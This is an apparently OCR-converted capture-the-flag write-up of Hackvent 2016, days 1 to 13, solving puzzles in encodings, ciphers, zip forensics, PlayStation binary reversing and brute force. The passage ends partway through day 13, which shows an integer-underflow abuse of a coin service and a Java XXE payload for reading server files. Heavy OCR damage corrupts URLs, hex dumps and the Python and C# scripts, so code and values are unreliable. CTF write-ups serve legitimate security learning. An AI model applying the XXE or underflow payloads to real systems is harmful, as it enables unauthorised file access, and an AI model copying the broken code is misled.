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Day O01: Detours
Follow the white rabbit ...

Task

Santa receives an email with links to three pictures, but every picture is the same. He talks with some
of his elves and one says, that there is some weird stuff happening when loading these pictures. Can
you identify it?

Solution
The Solution is relatively easy. First start Tamper Data (Firefox Plugin) and click on every link.

URL

httpe/fow.ly/ unCTI06M19f
httpe//bit.do/HV16-t2Kd
https://upload.wikimedia.org/wikipedia/commi
https://upload wikimedia.erg/wikipedia/comm
hittpe/fow. by W3h306M15F
https//bit.do/38aY-Ckl 5
https://upload.wikimedia.org/wikipedia/comm
hittpe/ow.ly/ 3wfe308MN 10K
httpe//bit.do/bndk-cblw

https://uplead wikimedia.org/wikipedia/comme

As you see you got from one short-URL provider, to the next one, which contains the flag in the
short-URL. The Flag for Day 01 is
HV16-t8Kd-38aY-QxL5-bndK-c6Lw



Day 02: Free Giveaway
the keys are the key
Task

Today, Santa has a free giveaway for you:
DK16[OEdo["lu[;"NI[R"D4[2Qmi

Solution
The Hint “the keys are the key” give you everything you must know. The above Code is from another

keyboard layout called dvorak Keyboard Layout.

-QJ-.D|&0- " | wmla
B Bl Bl N 1 ik S et Sed

& . {
701 84| 94

| o | ¢

-
t'-v—-\w'| - |

Here is an Image of the keyboard layout.

If you take this keyboard layout and map it with a regular English one, you get the following message:
HV16-SDhs-qqpf-zQLp-0QH4-2Xmg



Day 03: Manufactory
do it yourself

Task

Today's gift is ready to be manufactured, but Santa's afraid that his factory won't manage to do a
production run before Christmas. But perhaps you can create it yourself?

[file instructions.gcode]

Solution
We got a gcode-file. To get the output of the file you could use http://gcode.ws/. So we got a QR-
Code image, which you can’t scan. So | repaint it in MS-Paint:

If you scan the code, you get the flag for the third day: HV16-0Y2d-2Ki7-JBDe-VVdg-X8bW


http://gcode.ws/

Day 04: Language Of Us
Task

You all should know this language, but this one is not that consequent as it should be.

[file the-text.txt]

Solution

Given was the following leetspeak text, which was nearly complete from Wikipedia. After a
translation, the text doesn’t show any strange things. So after starring at the text for an hour | got
the idea to translate normal text with a 0 and 1337-speak-characters with a 1. So we get a binary
stream.
001011010010110100101101001011010010110100101101001011010010110100101101001011010
010110100101101001011010010110100101101001011010010110100101101001011010010110100
101101001011010010110100101101001011010010110100101101001011010010110100101101001
011010010110100101101001011010010110100101101001011010010110100101101001011010010
110100101101001011010010110100101101001011010010110100101101001011010010110100101
101001011010010110100101101001011010010110100101101001011010010110100101101001011
010010110100101101001011010010110100101101001011010010110100101101001011010010110
100101101001011010010110100101101001011010100100001010110001100010011011000101101
010011110011011101101111010010010010110101010111001100110011010001101010001011010
100001001001010010010000011011100101101011000110101001101110110011010110010110101
100101001101010100100001111010001011010010110100101101001011010010110100101101001
011010010110100101101001011010010110100101101001011010010110100101101001011010010
110100101101001011010010110100101101001011010010110100101101001011010010110100101
101001011010010110100101101001011010010110100101101001011010010110100101101001011
010010110100101101001011010010110100101101001011010010110100101101001011010010110
100101101001011010010110100101101001011010010110100101101001011010010110100101101
001011010010110100101101001011010010110100101101001011010010110100101101001011010
010110100101101001011010010110100101101001011010010110100101101001011010010110100
101101001011010010110100101101001011010010110100101101001011010010110100101101001
01101001011010010110100101101001011010010110100101101001011010010

If you translate that stream to ASCII, you get the following message:

HV16-070l-W34j-BJH7-cSvk-e5Hz-------------
q




Day 05: Boolean Fun
Every Bit Is Important
Task

Santa found a paper with some strange logical stuff on it. On the back of it there is the hint:
"use 32 bit".

He has no clue what this means - can you show him, what "???" should be?

4
7
0XB055
222
)
1337 |
AND

424242 |

Solution
So this is a simple math task. You only need to know how binary operators works in your
programming language. | choose C#:

int solution = (OxBO55)| (~ (4 | 7) (1337 & 424242) );
MessageBox.Show(solution.ToString());

The solution is “-291”:

BALL-O-MATIC

There are days, in which you don't get immediately the HV16-Nugget. This is
Put the resulting flag or sentence of the day here and get the only counting H!

If you scan the code, you get the flag HV16-2wGq-wOX3-T20e-n8si-hZ0A



Day 06: Back 2 Work

Greetings from Thumper

Task

Greetings from Thumper, he has an order for you:

1. unzip: the password is confidential
2. find the flag
3. look at my holiday pictures

Comment: Be aware, the pictures are only supplement.

Solution

So the pictures are only supplement. That mean, that we only should look at the zip-file itself. If you
look at the hex dump of the file, you notice something strange at the end:

013354D0
0133594E0
0133584F0
01338500
01339510
01339520
013359530
01339540
01339550
01339560
01338570
01339580

aF

f=1
(s}

a9
1B
70
20
14
2F
a0
30

00
00
g9
a7
20
oo
D1
oo
30

Ca
OE
oc
20
20
14
0B
oo
31

B3
0a
0o
05
03
oo
oo
oo
37

27
00
69
05
20
01
FO
oo
ZE

439
0o
&l
0g
0g

=
(=]

Dz
oo
Bk

a0
C3
iz
6l
05
09
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(=]
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0B
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09
00
00
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20

00
00
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LC
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0g

01
41
0a
2E
20
01
4Cc
0o
a5
20

mage 0004.jp
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As you see, after the name are some strange hex characters like 20 and 09. If you take these

characters and wrote them down, you should get something like this:

20 20 20 20
20 09 09 09
20 09 20 20
20 09 20 20
20 09 20 20
20 09 09 09
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If you replace 20 with “double l “(Alt + 219) and 09 with “double space” you get the following text:

If you scan the “text” you get HV16-y9YO-sDo1-Vi70-RWq1-V7hN

10



Day 07: TrivialKRYPTO 1.42

You think you need the password?
Task

Today's present is encrypted. Luckily Santa did not use Kryptochef's KRYPTO 2.0 so there
might be a slight chance of recovering it?

Solution
On day 7 we got a lovely JavaScript Encryption. If we take a look at the source code, we see that
there is a CRC32 implementation and some s3cr3t-codes. | quickly noticed the following lines:

for(var i=0;i<s3cr3t.length;i++) {

var pp="";

for(var p = (s3cr3t[i] * crc32(pass)); p>0; p>>=8) {
pp = String.fromCharCode (p& ) +pp;

}

s+=pp;

As you see, you only need to find the right crc32 value. It also generates every character XOR-ing
every secret with the right crc32 value. Because we know, that every flag start with HV16, we could
easily calculate the right CRC32 value by XOR-ing 0x48563136 (Hex of HV16) with the first s3cr3t. The
following python script gives us the flag and the right CRC32 value:

import binascii
import operator

def crc32(s):
return binascii.crc32(s) &OxFFFFFFEFE

def lrange(a, b, f):
num = a
comp = operator.lt if (a < b) else operator.gt
while comp(num, b):
yield num
num = f (num)

s3cr3t=[2155568001,3847164610,2684356740,2908571526,2557362074,2853440707,3
849194977,3171764887]

CRC32 = s3cr3t[0] » int("HV16".encode("hex"),106)

print "CRC32: " + str (CRC32)

S=l| n
for i in xrange(0,len(s3cr3t))

pp=ll "
for p in lrange((s3cr3t[i] * CRC32),0,lambda p: p>>8):
pp = chr(p&0xff)+pp

s+=pp
if(crc32(s) == 0x2343675265) or ((crc32(s) == 2343675265)):
print s

And the flag for this day is HV16-bxuh-b3ep-1PCU-b9ft-CgVu

11



Day 08: Lost In Encoding
Multiple encodings = good encryption?
Task

Santa and his elves do not know good encryption, all they have heard about are some basic
encodings. Unfortunately they all are bungling and forgotten the recipe.

It's now on you, who has to get it up.
Solution

The first file is a yenc encoded file. You can easily decode the content with the following website:
http://www.webutils.pl/index.php?idx=yenc

After decoding we got the following string:

PH42WjZnXEZgXzI4K0VNISxBU3UhaCtEIykrQHBzSWSEZ11cLUATXXQkR)xHR1 9DTG5W
cORMI10wQT1mOytEQkSNOEUrTyczKOUyQD5CNiVFAEQUUMAXQDtePzVELLIhIKytFV]oqg
REJPIkJGXyNJMORKKCkKRWNsRzpBVEpPlJkRIYWwvOMtNOWIESO0kiMkA7WzMpQDLCRXNG
KVBVLEBXLGUmMKONULJ FBVSYwKkV YEZDQDswViRBVEJDRy9LZESMOmsmOGEvZysmI0g]
N0o7QTAIRUQWZKNWIjBRV]ImMGxBcGovTIXE/ZENINOomMGViMXMwSkhy £ 4=

This is base64. Decoded we got

<~6Z6g\F  28+EM%,ASu'!'h+D#) +@psInDf-\-

@; 1t$F<GF/CLnVsDL#]0A9f; +DBNMS8E+0'3+E2@>B6%EtD.R 1@; *?5D/XH++EV:*DBO
"BF_#CBDJ()$Ech:ATJu&DIal/BkM9oDKI"2@;[3)@;BESF)Po,@W,e&+CT.lAU&O*E
c FC@; OVSATBCG/KdK&Bk&8a/g+&#H#7J; AO=EDOEfCV"0QV=£01Apj/Mgq?dCb7J&0ebl
sOJHr~>

And this is ASCII85, which decoded shows us:

Computer science education cannot make anybody an expert programmer
any more than studying brushes and pigment can make somebody an
expert painter. - Eric S. Raymond HV16-10st-1n7r-4nsl1-4710-n00b

And finally we got the flag for the day: HV16-10st-1n7r-4nsl-4710-n00b

12


http://www.webutils.pl/index.php?idx=yenc

Day 09: lllegal Prime Number
Huh - what the f***?
Task

I've heard something about illegal prime numbers... Maybe this number contains the flag:

431589112305451922780042523443902440640680599098394695415495669501243128355
165741758517957464275560116909628001748446705395191498212661323422520038424
504903778765452355801767864927807671610820027192757579149792909218423881361
984672931551823792488162360311109497907128601740715352904306665538831637845
769429159070368134175256149272313747448226337367321024863396184347903416081
198293451008327650623845790153837353119568816516696439881587437848098616460
1388393975141268984935852959700100872597068350527482364309

Solution

That is a really strange prime number. First | converted the prime number in hex. | used the following
online converter, which converts big integers to hex:

http://www.mobilefish.com/services/big number/big number.php

504B0304140009000800910A83495435ECEB2B0000001D00000008000000466C61672E7478745671

68E0247901D8BAE9376014E1DBA33D60231A36996B43E1F94D8FCOF9FAS3EODD80O3ECDAE6DS5F164
DB2504B07085435ECEB2B0000001D000000504B01021F00140009000800910A83495435ECEB2B000
0001D000000080024000000000000002000000000000000466C61672E7478740A002000000000000

1001800E4F6C610FB4CD201ES0D9380F84CD20154178980F84CD201504B050600000000010001005
A0000006100000000000195

So many zeros in that number. That is a strange sign. Let’s look the hex with a hexeditor:

Cffset(h) 00 01 02 03 04 05 06 O7 OB 09 0& OB OC OD OE OF

00000000 50 4B 03 04 14 00 0% OO 08 00 591 0OA 83 49 54 35 PE........ ‘.FITS
00000010 EC EB 2B 00 OO0 00 1D OO OO OO 08 00 OO0 OO0 46 6C 1&+........... Fl
00000020 &1 €7 2E 74 78 74 56 71 €8 E0 24 79 01 D8 BA E9 ag.txtVghaiy.@oé
00000030 37 &0 14 E1 DB A3 3D 60 23 1A 36 993 6B 43 E1 F3 7' .a&0&="#.6™kCan
00000040 4D 8F CO FS FA 53 E% DD 30 3E CD AE &D 5F 16 4D H.iﬁﬁSé?€}f®n_.H
00000050 B2 50 4B 07 08 54 35 EC EB 2B 00 00 00 1D 00 00 *PE..TS5ié+......
00000080 0O 50 4B 01 02 1F 00 14 0O O5 00 083 OO0 21 04 83 PE.......... . f
00000070 45 54 35 EC EB 2B 00 00 00 1D OO0 OO OO 08 00 24 ITSié+.........%
00000080 OO OO OO0 00 OO0 00 00 20 00 OO0 OO0 00 00 00 00 486 ... vve sennnas F
00000090 eC 61 &7 2E 74 78 T4 OA 00 20 OO0 00 OO0 OO0 00 01 lag.txt.. ......
Q0Q000RA0 OO0 183 00 E4 Fe C6 10 FBE 4C DZ2 01 ES OD 23 30 Fid HEE.GLO.E. "E
000000BO 4C D2 01 54 17 8% 80 F8 4C D2 01 50 4B 05 06 00 LO.T.%Seld.PE
000000CO 0O OO 00 01 OO0 01 00 5A 00 OO0 OO0 €1 OO0 OO0 00 00 ... 200080
000000D0O 00 O1L 55

Looks like a zip file. But it is password protected. We should bruteforce it with a dictionary. After
some time we got everything extracted. The Password of the zip was “gwerty”. The Flag.txt contains
the flag for the day: HV16-0228-d75b-40cd-8a0e-1f3e
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http://www.mobilefish.com/services/big_number/big_number.php

Day 10: | want to play a Game
Part One
Task

Reversing Day 1: we'll start with an easy one.

Solution 1
This time, we got a PS-EXE file. First | loaded the binary into IDA Pro and looked at the strings. | found
the following interesting strings:

TEXT:3001035C DOOO0D0OF C MADR[%d]=%:08:\n

B TEXT:8001646C 0DODDD1A 5 decrypt the flag you n00b
‘s TEXT:200173A8 0000DOSE C Library Programs (c) 1993-1997 Sony Computer Entertainment Inc,, All Rights Reserved.

Double click on the value and you get to the memory and found some more interesting stuff:

aDecryptTheFlag:.ascii "decrypt the flag you nBBb™<6> # DATA XREF: main+106To
# start+DoTo ...
-half @
dword _B0016488: _word 0x3034524B, Ox3IF6LSEZ2A, BxO0LLI2T7Z, Bx773C5868, Ox3B426024
# DATA XREF: main:loc_8Aa18uaafo
# main+1auTo
word Bx7BS4FFAT, 8=S42C2A36, 6x57, OxX87358, Ox468000

Follow the xref of the aDecryptTheFlag value, we get to the following point in the main function:

nup

1a $a@, abecryptTheFlag # “decrypt the flag you nBob"
jal sub_88611F 08
nop
sy $zero, 4(3gp)
1w $ve, 4($gp)
nop
s1ti $u1, Svd, Bax1E
bnez $u1, loc_800104A0
nop |
1
[l s
loc_886104A0:
1a $uB, dword_ 80816488
1u $u1, a(dop)
nop
addu Sud, Su1
la $u1, dword_8PA16488
1u $a0, 4{$gp)
nop
addu Su1, $aBd
1bu $ad, u($gp)
nop
addiu  $at1, $a@, 3
1bu Sul, B(sv1)
move $a@, %$at
o Su1, %am@
sh Su1, 8(svBd)
1u $ue, a($op)
nop
addiu  $v1, $ve, 1
su $ut, 4($gp)
i loc_80016484
nop
|
Y
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As you see, we got into a look which have (0x1E-1) rounds. Ox1E is 30, so it is the perfect length like
flags in Hackvent (29 Character long). Within the loop he manipulates the value dword_80016488
(look at second image) and it applies some XOR stuff. | wrote a little python script, which does the
same thing:

#from hexview in IDA

dword = [0x4B ,0x52 ,0x34 ,0x30 ,0x2A ,0x5E ,0x64 ,0x3F ,0x72 ,0x21 ,0x43
,0x64 ,0x68 ,0x58 ,0x3C ,0x77 ,0x24 ,0x60 ,0x42 ,0x3B ,0x47 ,0x7F ,0x54
,0x7B ,0x36 ,0x2A ,0x2C ,0x54 ,0x57]

S = nmn

for i in xrange(0,len(dword)) :
s += chr (dword[i] #* i+3)

print s

So basically it XOR the dword with (i+3). If we execute the python script, we got the flag for day 10:
HV16-Vmb5y-NjgH-e7tW-PgMa-61JH

Solution 2

Now to the easiest solution. Download the program noSpsx and run the PS-EXE file with that
program.

| @ MoSpsx Emulatar — O et

DECEYFT THE FLAG YOL
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O MNoSpsx Debugger

File Search Run Debug Window Utility Options Help

80015688 00000000 nop ~ | pc 80015640 s0/rlfé S6122Z01F

G001565C 00441024 szetlt rZ,rz,rd at/rl 80010000 =1/cl7 00000008

g0015690 10400014 j= rz,500156FCh :l w0/r2 00003C4E  s2/rld 00000000

80015694 AFEFO01S + maw [sp+18h],ra wl/r3 FFFFFFFF s3/r19 00000000

80015698 ZA03FFFF mowv ri,-1h al/rd 00000616 s4/r20 00000000

S001569C SFAZ0010 mowv rz,[sp+10h] alsrd 00003000 s5/r2l 00000000
0 nop az/srd 00000000 s6/r22Z 00000000

§0015644 2442FFFF sub rz,1h a3fr? 00000000 s7/r23 00000000

B0015645 AFAZ0010 mow [sp+i0h],x2 tl/rd  AFCO186C t&/r24 00000010

S00L564C SFAZ0010 mowv rZ,[sp+10h] tl/r2 000000AS t£9/r25 00000008

80015660 00000000 nop tZ/rll 00000040 kO/r26 S00156EC

§0015664 14430006 jne rZ,r3,800156E4h :l t3/rll §001l6Z6C  kK1/r27 00000000

B00156BC 3C045001 mow r4,50010000h td/riZ ADOL0004 gp/r28 800158544

0015600 0COO05901 call 00164040 H t3/rl3 00000001 spfr29 S07FFFI0

§00156C4 24540200 + add r4,2C0h tiE/rid 40000000 f£p/r30 SO0TFFFES

§00156CH 0OCO05893 call S001624Ch - t7/rl5 00000000 rafr3l S00155D8

B00156CC 00002021 + mow r4,0 hi ooooooog 1o ooooooon

0015600 24040003 mov rd,3h S07FFFA5 80015508

g0015604 0OCO05897 call S001625Ch He 807FFFE4 00000080

§00156D0G 000025821 T prituyrd r5,.0 S07FFFE0 00003C4E

§00156DC 050055EF jmp 300156FCh :l S07FFFIC 00000000

S00L156E4d 3C0Z8002 movp rZ,[800184C8h] 307FFF78 80016668

§00156EC 00000000 nop 807FFF74 00000000

§00156F0 00441024 ?Etlt ri,r2,rd S07FFFI70RE0013E78

800156F4 1440FFES inz r2,5001569Ch :1 S07FFFEC 00000150

G00L56FC SFEFO0LES mov ra,[sp+1ch] S07FFF65 S0014B5C

§0015700 27EDO0Z0 add sp,20h hd 807FFF64 00000000

goooooon 03 00 oo 00 80 0C 54 &7 08 00 40 035 00 00 00 00 L ~ | 807FFF&a0 00000000

00000010 00 00 00 00 00 o0 00 00 00 00 00 00 OO0 00 00 oo S07FFFSC 00000000

Q00000z0 00 00 00 00 00 00 00 0O 0O 00 00 00 00 00 00 oo SO7FFFS8 QOO0TEES

0ooooos0 00 00 o0 00 00 00 00 00 00 00 o0 OO0 00 00 00 oo S07FFF54 00000400

oooooo40 00 00 o0 00 00 00 00 00 00 00 oo 00 00 00 00 oo SO0YFFFS0 00000400

00000050 00 00 00 00 00 o0 00 00 00 00 00 00 OO0 00 00 oo ¥ | 807FFF4C S00325ED

Erecution Time: 711,244,800 Cycles Main F

So on the top right corner you see some registers. They representing pointers or values, which are
used by the program. Follow some registers in the memory, look around these values and maybe we
find something interesting. If you following t3/r11 you find the following things in memory:

@ NoSpsk Debugger - X
File Search Run Debug Window Utility Options Help

BO0L56E6 BLAZB4CE mov t2,[x2-7B38h] pe B00156F4 s0/r16 5612200F WM T Trace | RunNewt
B00156EC DDOO0DO0 nop at/rl 80010000 si/ri7 00000oDE [N P

S00156F0 004410ZA setlt  rZ,r2,rd w0/rZ 00000001 s2/ei6 oooopoon N U GBA Specs|CPU Specs
00156F4N1440FFES fnz r2,8001569ch ;T itrue wi/r3 FFFFEFFF  s3/r19 00000000 Reload | Edit File
BO0L56FC BFEFODLE mov ra, [sp+LlBh] a0/r4 00DDOOBC  s4/r20 00000000 — -
BO015700 27BD0DZ0 add 5,200 al/r5 000DBO0D s5/r2l 00000000

30015704 03EQ0003 ret a2/r6 00000000 s6/r22 00000000

BO01570C 3COZBO0Z mowp  rZ,[B0015485hH] a3/r7 00000000 s7/r23 0O0OOODN

60015714 27BDFFEG push  ra t0/r6 AFCO186C tH/r24 00000010

BO01571C BC42000C mow £2, [£2+0Ch] t1/r9 0ODDOOAS t9/r25 00D000DE

30015720 00000000 nop £2/r10 000000AD kO/r26 BO0156B0

80015724 O040FS09 call 2 t3/ril BOO16Z6C J1/r27 0O0OOOON

8001572C SFEFOOL0 pop ra t4/r12 AOD10004 gp/r25 80018544

80015734 DIEO0DOE ret £5/r13 00000001  sp/r2d BOTFFFIO

B001573C 3C02B002 movp  Z,[50018488h] t6/r14 40000000 £p/r30 BOTFFFBE

50015744 27BDFFES push  ra £7/r15 00000000 ra/r31 B00155D&

B001574C BCAZ0008 mow ¥z, [r2+6h] i 00000000 16 0000000

80015750 DDOOODOO nop SI7FFFOS BOOL5ED0 A
80015754 DD40F809 call 1z SOTFFFRA G0O000E0

50016410 OO 00 00 OO OO 00 00 OO 00 00 00 00 A0 00 OA 24 5 BO7FFFE0 00003044

80016420 08 00 40 01 13 00 09 24 00 00 00 00 AD 00 DA 24 5 &07FFFTC 00000000

B0016430 DB 00 40 01 4B 00 03 24 00 0D 00 00 A0 00 OA 24 5 BO7FFF?8 80016668

30016440 08 00 40 01 24 00 09 24 00 00 00 00 A0 00 OA 24 § 307FFF74 00000000

B0016450 08 00 40 01 2K 00 0% 24 00 00 00 00 AD 00 DA 24 eeeeld &07FFF70MG00153575

BO016460 08 00 40 01 3F 00 09 24 00 00 00 00 64 65 63 72 . .decr BO07FFFEC 00000150

BO016470 73 70 74 20 74 68 65 20 66 6C 61 67 20 73 6F 75 £lag you BO7FFFES B0014B5C

BO016480 20 6E 30 30 62 00 00 00 4B 52 34 30 2A SE 64 3F  n0Db...KR407Ad? BO7FFFE4 00000000

30016490 72 21 43 64 65 58 3C 77 24 60 42 3B 47 7F 54 7B r!Cdnd<us 'B;GOT( @07FFFE0 00000000

BO0164A0 36 ZA 2C 54 57 00 00 00 50 73 08 00 00 00 46 00 &%, TW...Pa....F. &07FFFSC 00000000

B00164B0 00 00 00 0D 00 00 00 00 00 00 00 00 FF 03 FF 01 ... BO7FFFS8 ODOOESER

B00164C0 00 00 00 00 00 0D 00 00 8C 15 01 80 0D 00 00 00 BO7FFFS4 00000400

300164D0 00 00 00 00 00 00 00 00 00 10 AF 10 3F 10 SE 10 . @07FFF50 00000400

BO0164E0 7E 10 OC 10 BE 10 DA 10 F& 10 16 11 34 11 52 11 -. B07FFF4C 80032580

BO0D164F0 6F 11 6C 41 A9 11 C6 41 E3 14 00 12 4C 12 38 12 o. B07FFF4S 8001200C

BO016500 54 12 70 12 BC 12 A7 12 CZ 12 DE 12 F9 12 14 13 T. BO7FFF4d BO016658 v

‘wecution Time: 146,887 696 Cycles

Still no decrypted flag. So we should run some more instructions with F4:

16
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@ NoSpsx Debugger - X
File Search Run Debug Window Utility Options Help
80015674 27EDFFED sub sp,20h pc 8001564C 20/ri6 5612200F M C Toce | RunMest
0015676 00052BCO shl r5,0Fh at/ri 60010000 s1/rdi? 00000007
8001567C AFAS0010 mow [sp+10k], S w0/rz D0OO07FE4 =2/ris oooooooo (o U 6B Specs|CPU Specs
800156380 3C028002 movp re,[800184C8h] wil/r3  FFFFFFFF  53/rl® 00000000 Feload Edit File:
§00156858 00000000 nop al/r4 000000BD  s4/rz0 00000000 Scieenshat| Upload
800156380 00441024 setlt ra,r2,rd al/r5 00008000 s5/r21 00000000
§0015650 10400014 j= re,800156FCh H azZ/r& 00000000 s6/rZ& 00000000
800156584 AFEFO018 + mow [sp+18h], Ea a3/r7 00000000 s=7/r23 00000000
00156595 Z403FFFF mow r3,-1h tl/rd 1FCO166C t8/r24 00000010
§001568C GFAZ0010 mow rz,[ap+10h] tl/r% O000000AS ©S/rzZ5 00000005
80015640 00000000 nop t2/ri0 000000AD kO/r26 S00156E0
§0015644 Z442FFFF sub ré,1h t3/rll 80016Z6C k1/rzZ7 00000000
S0015645 AFAZ0010 mow [sp+10h], 2 td/riz2 AO010004 gp/r28 80015544
A t5/rl3 00000001 spfr2® G07FFF70
800156E0 00000000 nop te/rld 40000000 fp/r30 S07FFFES
0015664 1443000 jne r2,r3,800156E4h ;| £7/rl5 00000000 rafr3l G00155DG
§00156BC 3C045001 mow r4,80010000h hi oooooooo 1o aooooooo
80015600 0CO05904 call 80015404k — S07FFFAE 50015508
§00156C04 Z46402C0 + add rd,2C0h S07FFFE4 00000050
80016410 00 00 00 00 00 00 OO0 00 00 00 00 00 A0 00 O&4 24 S07FFF30 00007FE4
0016420 08 00 40 01 13 00 0% 24 00 00 00 00 A0 OO0 O&4 24 SO7FFF7C 00000000
80016430 08 00 40 01 1B 00 09 24 00 00 OO0 OO &0 00 D& 24 BO07FFF78 80016665
0016440 05 00 40 01 24 00 09 24 00 00 00 00 A0 OO0 O&4 24 S07FFF74 00000000
§0016450 05 00 40 01 ZB 00 0% &4 00 00 00 00 A0 OO0 O& 24 SO7FFF7OMS0013E7E
0016460 08 00 40 01 3F 00 09 24 00 00 00 00 &4 65 &3 72 ..[. S07FFF&C 00000180
§0016470 7% 70 74 E0 74 65 65 E0 66 6C &1 67 20 79 6F 75 wypt the flag wvou S07FFFGE S0014E5C
80016480 20 6E 30 30 62 00 00 00 48 56 31 36 2D 56 6D 35 nl0b. . .H¥16-¥ub S07FFF&d 00000000
G0016450 7% 2D 4E 6A 67 48 2D 65 37 74 57 2D 50 67 4D 61 y-NigH-e7tWU-Fgla GO07FFFG0 00000000
G0016440 ZD 36 31 44 43 Z0 00 00 50 73 08 00 00 00 46 00 -61JH ..Ps3.... S07FFF5SC 00000000
0016480 00 00 00 0O OO0 0O OO 0O 00 00 00 00 FF 03 FF 01 S07FFF58 OO00ET7Z2A
§00164C0 00 00 00 00 00 0O OO0 00 &C 15 01 &0 OO0 00 00 00 S07FFF34 00000400
80016400 00 00 00 00 00 0O OO0 00 00 10 AF 10 3F 10 SE 10 S07FFFS0 00000400
G00164E0 7E 410 SC 10 BE 10 D& 10 F& 10 46 11 34 11 52 11 ~........u.s .R. G07FFF4C 80032580
800164F0 6F 11 8C 11 49 11 C6 11 E3 11 00 12 1C 12 38 12 o......vuaan.. 8. S07FFF48 S001ZC0C
G0016500 54 12 70 12 8C 12 A7 12 C2 12 DE 12 F9 12 14 13 T.peeievarnrnns S07FFF44 30016658
E=ecution Time: 31 Cycles 1RO Handler ol 14

And we got the flag for day 10: HV16-Vmb5y-NjgH-e7tW-PgMa-61JH
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Day 11: A-maze-ing GIFt
Go find the codes!
Task

Will you manage to recover today's code from this strange picture?

It looks like a maze of some kind, and somewhere deep inside there might be more than
what you'd expect at the first glance...

Solution
This was surprisingly really easy. You only need to fill out the areas from the QR-Code and get the

flag. | used Stegsolve’s Random Color Map and got the following image:

Ik
O

If you scan this QR-Code you get the flag from today: HV16-otli-KbAg-MDVb-TMTO-WTDI

But that wasn’t the only code in there. In this challenge is also the Hidden Ball 02
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Day 12: Crypt-o-Math
Crypto? Math? Maybe both?
Task

you remember math classes at school?
hopefully you payed attention - and even if not, there are other ways to solve this challenge.

Solution
This time we have 29 equations and we need to find out each character to solve every character. So |
wrote a little bruteforce script in python:

matrix =
[260492575707724061121829547730531689268,2193311097228816716016192656283806
37246,264919855316001119104226076800779561423,
177037883108301921298501682022541052670,13901099938921647531389617222351598
4938,320424365363679773525372180610490277297,
201530751445587644733838605908487065258,15628396036534437979460346264421881
2025,260817421396746284411005790925469586671,
243507266865305317073588348849175479231,22867263379446036790518661968351254
9913,311961837617653522368820984616392093801,
235979373536480839808082706396503872744,19335713450724097590058446414193456
0197,272109227670221371468387040437351965901,
230551569853098007600677345727280344755,28793078131531897047325467754657703
8359,267938315516895485484707051396200706443,
243574932572443222972750303823800502163,30112014269824392429076361443545456
5780,298644815229643145404450351035804160241,
227879528304283891530899499744980291425,25964742875156126098485259323959096
2832,269635859822490692863508746527322139429,
193780289185955117334123511554895799539,23051805919486077498553158752603158
2924,207593226880414101384701594893426311937,
195425447990038725090924967791915486200,21107473677019759157517025379801231
5012,268179617336236355437933191393015865423,
182160695615960388203641943769582257756,22605269018518219705510979618351357
6908,2006467790630567275126889799309355179359,
270365608703884312725165910007312396490,21341984525299644656039809491325052
1674,324158008615298179424325819513870548587,
201137118708843924452456973486310609161,15981637623800310700219269365710563
0045,290037217831618223964293971372160917859,
173038113384777542289872672569239525188,18955889415917727191664420800791263
1998,183921485447992361971839173200969564297,
203079462849536394511816713024005910404,26525511389385993371007178108276893
5284,214860441818087898101519465166073705553,
175435955454496700514946039667711586185,32130212975405260263793106192509619
8926,176882035352883165226937995777991718197,
200701714682593432395729715130128082931,24036617208350976884003299318155216
©6546,262938198945065824235502495190974734479,
299752902236935158362307014205359355636,23571195678385591492305682068727312
1476,332555996220370247549433065033032955347,
215902963387633985679795544753434436743,27163569940569229595335383414016122
2963,234686602415496986215568540582391915559,
205034325176731455396463659428717818520,27207132679129495748183895048092038
8378,206409649750015144058460651952033121471,
186202058515529112089774144624697652752,25405678375111361232059980587419053
8383,203950808577618100941828939328974427763,
287901749499474956286121649902808545796,18219351606731169725742511583295217
8725,310661715406253093730218700854274682783,
188797174721730846063832466557549096934,20428963164036332805957388340313155
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3162,202398097602736311826665715995283701469,
173276488624612107075891981111532248427,14334021588338631021935272990814209
3188,310272112653851647580237588097526878451,
300899937001700644581647299928269672025,33368092929078221182633232523634700
7941,313491113294105066840003438756384124923,
179363152345949876980223861387117154037,19266028998031157151276681378845250
7319,191173487237342005980035033206582186319,
274297779066581320003362916911839787292,23096881830166695476842382720249907
4222,280249595392717543321356899242915413241,
173512792712172909456131993539106342879,27667025512914088025869682164952410
7343,176080436791985260266403840744627297429,
217267141898619422837859646397422811530,19241548192449918203159412439417559
5334,261771203728758901533499406756951694139]
bruteforce string =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789-"
s=""
for i in range(0,29):

m = matrix[i*3]

b = matrix[i*3+1]

p = matrix[i*3+2]

for ¢ in bruteforce string:

if m == ord(c) * 0x1337 * b % p:
s += cC
break

print s

And we got the flag for day12: HV16-laWz-D5yT-0Uzb-DFjO-FisL
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Day 13: JCoinz

Sometimes less is more

Task

2016-12-13 23:30 Challenge Server is currently down and will be for the next hours. As we
are back online, the Deadline of this challenge will be extended.

2016-12-14 10:30 Challenge Server is back and online. Solutions for Day 13 until 2016-12-14
23:59:59 will get you full points (will be changed manually).

The manager of jcoinz told a developer to implement a transaction tax as fast as possible so
he can earn more money. Maybe that was a wrong decision...

nc challenges.hackvent.hacking-lab.com 3117

Solution

This was an interesting challenge. You start with 1336 coinz and you need 1337 coinz to send Santa a
secret Message. So in the first stage we need to get some money. Thankfully there is a underflow
within the Amount.class, where we could donate money.

public boolean payCoins (int amount)

{
if (getCoins() <= 0)
{
IO.printStatus("-", "No more Jjcoinz!\n\n");
return false;

}
if (amount < 0) {
amount *= -

}
int decreasedCoins = getCoins() - amount - Shop.transactionTax;
if (decreasedCoins < 0)

{
IO0.printStatus("-", "You cannot generate debts!\n\n'");
return false;

}

setCoins (decreasedCoins) ;

I0.printStatus("-", "Decreased the account of \"" 4+ getName() + "\" by
" 4+ String.valueOf (amount) + "\n'");

return true;

First you decrease your money, so that only 1 coin is left. After that, you want to spend so much that
you trigger an underflow. For this we spend the minimum Java Integer value (-2147483648). The
amoun.class notice, that it is a negative number and multiplicate it with -1. With that we trigger the
underflow and get the Int.Max:
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1 - sends jcoinz to charity

2 - send a secret xml message to the admin
Your name: billy

Your amount of jcoinz: 1

Action: 1

Amount of jcoinz to send: -2147483648

Decreased the account of "billy" by -2147483648
Thank you very much!

sends jcoinz to charity

send a secret xml message to the admin
Your name: billy
Your amount of jcoinz: 2147483647

[?] Action: |

The Second stage is a simple Java XXE exploit:

<?xml version="1.0"?><!DOCTYPE letter [<!ENTITY file SYSTEM "" >]><tag>
gfile; </tag>

With that you only list the files, of the current directory. Now the exploit to get the flag:

<?xml version="1.0"?><!DOCTYPE letter [<!ENTITY file SYSTEM
